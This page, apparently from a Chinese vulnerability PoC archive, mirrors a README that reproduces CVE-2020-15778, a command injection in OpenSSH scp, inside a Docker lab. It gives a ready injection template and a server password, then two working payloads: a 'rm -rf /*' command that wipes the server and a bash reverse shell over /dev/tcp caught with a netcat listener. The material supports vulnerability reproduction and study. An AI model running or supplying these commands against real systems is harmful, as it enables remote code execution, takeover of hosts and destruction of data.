目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2020-15778 PoC — OpenSSH 操作系统命令注入漏洞

来源
关联漏洞
标题: OpenSSH 操作系统命令注入漏洞 (CVE-2020-15778)
Description:OpenSSH(OpenBSD Secure Shell)是加拿大OpenBSD计划组的一套用于安全访问远程计算机的连接工具。该工具是SSH协议的开源实现,支持对所有的传输进行加密,可有效阻止窃听、连接劫持以及其他网络级的攻击。 OpenSSH 8.3p1及之前版本中的scp的scp.c文件存在操作系统命令注入漏洞。该漏洞源于外部输入数据构造操作系统可执行命令过程中,网络系统或产品未正确过滤其中的特殊字符、命令等。攻击者可利用该漏洞执行非法操作系统命令。
介绍
# CVE-2020-15778

## Introduction
This repo reproduces [CVE-2020-15778](https://nvd.nist.gov/vuln/detail/CVE-2020-15778).

## Steps
1. Build the docker images for scp server and client
```bash
cd client
docker build -t client-cve .
```
```bash
cd server
docker build -t server-cve .
```

2. Spin up the scp server in container.
```bash
docker run -d -P --name scp-server server-cve
```
Retrieve the internal IP address of the scp server by
```bash
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-server
```

3. Run the client in container.
```bash
docker run --name scp-client -i -t client-cve
```

4. Inject your own shell command to scp server by call scp command in the client.

In client terminal, run
```bash
scp nil.txt root@<internal IP of scp server>:'`your command`/tmp'
```
The password is "PASSWORD".

## Examples
Here're some examples for this exploit.

1. Delete everything in the server to crash it.
```bash
scp nil.txt root@<internal IP of scp server>:'`rm -rf /*`/tmp'
```

2. Reflect the bash of the scp server into the client (mimic ssh).

Listen to a port on client machine.
```bash
nc -lvvp 8080
```

Use scp to force the server mapping the interactive bash into the client machine.
```bash
scp nil.txt root@<internal IP of scp client>:'`bash -i >& /dev/tcp/<internal IP of scp client>/8080 0>& 1`/tmp'
```

The client IP address can be retrieved by
```bash
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-client
```
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →